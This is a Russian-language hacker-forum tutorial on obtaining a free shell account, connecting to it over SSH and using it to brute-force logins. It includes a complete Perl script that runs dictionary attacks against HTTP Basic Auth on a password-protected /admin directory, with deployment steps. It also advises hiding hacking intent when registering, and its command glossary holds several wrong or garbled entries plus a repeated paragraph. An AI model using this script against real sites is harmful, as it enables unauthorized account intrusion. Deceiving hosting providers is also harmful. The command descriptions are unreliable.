Статья довольно старая, но актуальная..
Введение
У шелла может быть множество разных применений, начиная с удобной работы с файлами на сервере (в случае если шелл был предоставлен хостером) и заканчивая разнообразными взломами через этот шелл. Большинство служб (если их можно так назвать, предоставляющих шелл, вместе с ним дают место под сайт. Конечно, его не очень много (хотя всё зависит от конкретного сервера), но зато там разрешают использовать perl, etc, чем может похвастаться не любой бесплатный хостинг…. гм, что-то я увлекся %). Так вот, шелл может оказаться весьма полезной фичей. Почему? Во-первых, канал. На уважающем себя хостинге канал должен быть широкий. Во-вторых, железо. Пень 166 для хостинга не пойдёт %). Следовательно, можно запускать задачи наподобие john (что это такое чуть ниже), требующие мощного проца. Да и вообще, шелл нужен! =)

Получаем шелл-аккаунт
Возникает закономерный вопрос: где же получить бесплатный shell-аккаунт? Идём на Ссылки только для зарегистрированных пользователей. и пишем в строке поиска: «UNIX + SHELL + FREE». Нам выдаётся куча ссылок по запросу. Можно, конечно, сидеть, копаться, искать наиболее подходящий для вас шелл, но если делать этого особо не хочется, то вот вам ссылка на наиболее симпатичный мне сайт, где можно получить шелл: Ссылки только для зарегистрированных пользователей.. К тому же, сервер находится недалеко от Бельгии, что подразумевает достаточно высокую скорость передачи между вами и сервером. Регистрируемся на этом сайте (поля заполнять на буржуйском, e-mail писать ваш, а не чужой). В поле «Give a short description of what will be done with your account:» напишите что-нибудь типа «I want create a cool homepage», ну или что-то в этом роде (про хак ничего не писать!%)). На мыло приходит письмо от rootshell.be Support support@rootshell.be с вашим логином, автоматически сгенерированным паролем, хостом, к которому нужно подключаться, и прочей чушью. Если позже захочешь сменить пасс, иди на Ссылки только для зарегистрированных пользователей., в поле «Login» пиши свой логин, и на твоё мыло придёт новый пароль. Ну всё, зарегались… что делать дальше? Обычно шеллы бывают с доступом по telnet (23 порт) и SSH (22 порт). Если ваш шелл использует первое, тогда для соединения с ним сойдёт виндовая утилита telnet. Находится она в %Директория_с_Виндой%/System32/telnet.exe, ну или Пуск->Выполнить->telnet. Далее расписывать использование telnet не буду, т.к. служба, рассматриваемая мной, использует SSH2. Скажу лишь, что по телнету есть небольшой help в %Директория_с_Виндой%/Help/telnet.chm с командами самой программы, а для управления шеллом используются всё те же команды, что и для SSH. В нашем случае всё немного сложнее, т.к. винда не имеет встроенного SSH-клиента. В инете есть много подходящих софтин, но мне больше нравится Putty (кстати, он поддерживает и telnet). Качаем его, например, отсюда. Запускаем Putty.exe и изменяем опции соединения по своему вкусу (ну или по вкусу шелла . Напомню, что я расписываю работу с rootshell.be, для других служб настройки будут выглядеть несколько иначе. Во вкладке Session в Host Name пишем «phenix.rootshell.be» и нажимаем SSH. Port должен был смениться на 22. Идём на вкладку Connection->SSH. Preferred SSH protocol version ставим SSH2 only. На вкладке Session сохраняем наши настройки под новым именем и нажимаем Open. Открылось чёрное окно, где нас просят ввести логин. Что ж, вводим%). Далее нужно ввести пароль. Смотрим письмо, пришедшее нам от rootshell.be, и оттуда вводим пароль (обязательно соблюдайте регистр!). Если всё сделано правильно, то через пару секунд ты попадёшь на свой шелл. Если же этого не произошло, попробуй ещё раз, вдруг ты что-то неправильно сделал… Можно пробежаться по тексту, любезно выведенному для нас, там обычно пишут последние новости, связанные с работой сервера. Всё, мы на шелле…

Работа с шеллом
Что теперь делать? Да всё то же, что ты делаешь на своём компе, только немного в другой, непривычной форме. Если ты работал в ОС Linux/FreeBSD/OpenBSD/etc, то особых проблем возникнуть не должно… Если же нет, то для начала я бы посоветывал прочитать какую-нибудь книгу по Linux, пусть небольшую, но всё же… В этой статье я не могу описать даже одну милионную часть работы с этой операционкой. Ну ладно, чтобы не грузить тебя, дам пока кое-какие команды, часто используемые «хакерами» на шелле %):
at - указание времени когда выполняется команда
chown - смена хозяина файла
batch - выполнить команду во время загрузки
telnet - клиент телнет
ftp - клиент фтп
rmdir - удалить каталог
finger/who/users - вывести список работающих в системе.
gcc - компилятор C
ftpwho - фингер для фтп
mv - переместить файл
kill - прекратить процесс
cat - текстовой редактор
ls - просмотр каталога
chmod - смена привилегий файлового доступа
rm - удалить файл
id - просмотр прав, т.е.uid и gid
mail - работа с мылом
cd - сменить каталог
cron - демон команд at и batch
logname - получение имени регистрации
cp - копирование чего либо.
uname -a - всё о версии системы.
crontab - задать резервы времени между запусками прог.
ps - ознакомление со списком процессов.
pwcheck - просмотр дефолтового файла пароля.
umask - маска для определённого файла.
su - программа su
sleep - преостановить процесс.
passwd - работа с паролем.
news - отображение usenet
write - мессага текущему юзеру.
uux - выполнить комманды на remote компе
nslookup - сводки гидромедцентра о IP
uucp - копирование файл с/на remote комп
uuname - список хостов UUCP
more - вывод текстовика в постраничном режиме
greg - поиск строки в фйле по заданному ключу
greg -i - то же,без учёта регистра.
uuencode - содание текстовой версии двоичного файла( для мыла)
uudecode – создание двоичной версии текстового файла
tar - создание архивов файлов.
uncompress - получение исходного из сжатого файла.
uptime – время запуска машины.
ping - %) читай man.

Принцип ввода и выполнения команд имеет постоянную схему: команда, ключи, параметры. Например, для просмотра директории командной ls с ключом –la, нужно ввести «ls –la». По большинству команд есть т.н. help, в котором описывается синтаксис вызова команды, ключи, etc. Для вызова вызова help’а по команде ls нужно ввести «ls --help». Так же у многих программ имеется неплохое справочное руководство, которое вызывается следующим образом: man команда. Например, для команды ls его можно получить так «man ls». Дальше расписывать работу с *nix-системами не буду, т.к. всё это есть в любой книге по ним.

Принцип ввода и выполнения команд имеет постоянную схему: команда, ключи, параметры. Например, для просмотра директории командной ls с ключом –la, нужно ввести «ls –la». По большинству команд есть т.н. help, в котором описывается синтаксис вызова команды, ключи, etc. Для вызова вызова help’а по команде ls нужно ввести «ls --help». Так же у многих программ имеется неплохое справочное руководство, которое вызывается следующим образом: man команда. Например, для команды ls его можно получить так «man ls». Дальше расписывать работу с *nix-системами не буду, т.к. всё это есть в любой книге по ним.

Работа с брутфорсом
Теперь перейдём непосредственно к практике. По многочисленным просьбам трудящихся опишу работу с брутфорсом. Под Linux существует много разных брутфорсов: и для аси, и для мыла, и для Ссылки только для зарегистрированных пользователей. и для etc. Наиболее распространенным брутфорсом под *nix является John The Ripper. У него достаточно много функций, написан он на Си… Но его надо устанавливать, чего я не люблю%). Если кому-то интересно, то качайте john’a отсюда. Чтобы распаковать его используйте программу tar с нужными параметрами, например, «tar zxvf john-1.6.tar.gz». Чтобы узнать о этой команде всё, юзай «man tar».
Ах, да, чуть не забыл сказать, как закачать на шелл нужную программу. Для этого есть удобная утилита wget. Для её использования достаточно ввести: wget ссылка_на_файл. В нашем случае это будет «wget Ссылки только для зарегистрированных пользователей.». Кстати, wget умеет закачивать целые сайты… После распаковки заходим в каталог с программой: «cd john-1.6.tar.gz». Если не охота лазить по дирам набивая команды, можно запустить файловый менеджер: «mc». В нём, я думаю, ты и сам разберёшься. Читаем readme, install, etc. После этого особых вопросов в установке и использовании программы возникнуть не должно. Если же они будут, спрашивайте здесь… по возможности ответим%). Сейчас же мы будем юзать перловский брутфорс. Чем он удобен? Его не надо устанавливать! Брутфорсов, написанных на перле, много… используй поисковые службы. Обычно, каждый из них выполняет только определённую функцию, например, только брутит мыло, или только асю, но бывают и исключения. Допустим, ты закачал на шелл какой-нибудь брутфорс, написанный на перле. Как его запустить? Обычно программа на перле – это файл с расширением .pl. Заходи в каталог со скриптом и набивай там команду «perl название.pl». Если же ты хочешь, чтобы программа работала в background’е (это относится не только к брутам, но и к остальным программам), то напиши в конце команды символ &. Например, «perl название.pl &». Для примера, я покажу вам, как использовать перловый брутфорс для запароленных директорий на Ссылки только для зарегистрированных пользователей. написанный Forb’ом. В этом случае имя пользователя должно быть известно.

#!/usr/bin/perl

## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
## Modified by sikeirosa: sikeirosa@mail.ru

use MIME::Base64;
use IO::Socket;
use POSIX; ### Подрубаем модули POSIX, Socket и Base64

$server="127.0.0.1"; ### Удаленный сервер
$port="80"; ### Удаленный порт
$dir="/admin"; ### Запароленная директория
$logfile="sucess.log"; ### Логфайл, куда пишем пароль
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words="bigdict.txt"; ### Словарь (файл с паролями)
$users="users.txt"; ### Имя пользователя

open(file, "<$words") or die print "$!\n";
@pwd_data=;
$total=@pwd_data;
close file; ### Записываем все пароли в один массив

open(file, "<$users") or die print "$!\n";
@users_data=;
$total*=@users_data;
close file; ### Записываем всех пользователей в один массив

$i=0;
foreach $user (@users_data) {
foreach $pass (@pwd_data) {
$i++;
chomp($pass);
chomp($user);
open(file, ">$log") or die print "$!\n";
$perc=($i*100)/$total;
$perc=ceil($perc); ### Высчитываем процент
print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
close file;

$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
chomp($auth);

### Порождаем сокет
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n";
print $socket "GET $dir Ссылки только для зарегистрированных пользователей.";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: Ссылки только для зарегистрированных пользователей.";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $auth\n";
print $socket "Connection: close\n\n"; ### Отправляем Ссылки только для зарегистрированных пользователей.данные + Mime-хеш

$ans=<$socket>; ### Получаем ответ от сервера

if ($ans=~/200 Ok/i or $ans=~/301/i) {
open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог
print logf "$user:$pass is OK!!!\n";
close logf;
}
close($socket);
}
}
Это исходник его брутфорса. Переменные $server, $port, $log, $dir, $logfile, $words, $users необходимо изменить на ваши. Делаем у себя на компе файл brut.pl, вставляем в него код. Также делаем файлы success.log, now.log (оставляем их пустыми). В папку с со всей этой бодягой ложим файл с паролями и переименовываем его на bigdict.txt. И там же создаём файл users.txt и пишем в него имя юзера. Теперь нам нужно закачать всё это на наш шелл. Как это сделать? Можно, конечно, залить файлы на какой-нить сайт, а потом оттуда сливать wget на шелл. Но мы так делать не будем. На rootshell.be есть ftp, через который можно всё это залить к нам в домашнюю директорию. Берём какой-нибудь фтп-клиент, создаём там новое соединение. Имя сервера: ftprootshell.be, а логин с паролем те же, что вы используете для доступа к шеллу. Всё, коннектимся туда, заливаем наши файлы в одну папку, например, brut. Теперь коннектимся к шеллу… Видите, там появились наши файлы%). Заходим в нашу папку: «cd brut». И уже там пишем команду «perl brut.pl» или «perl brut.pl &».
Всё, процесс пошёл, и если тебе повезёт, то через некоторое время в файле success.log появится правильный пароль :D

Вот и всё, что я хотел сегодня рассказать.....

by Leon1010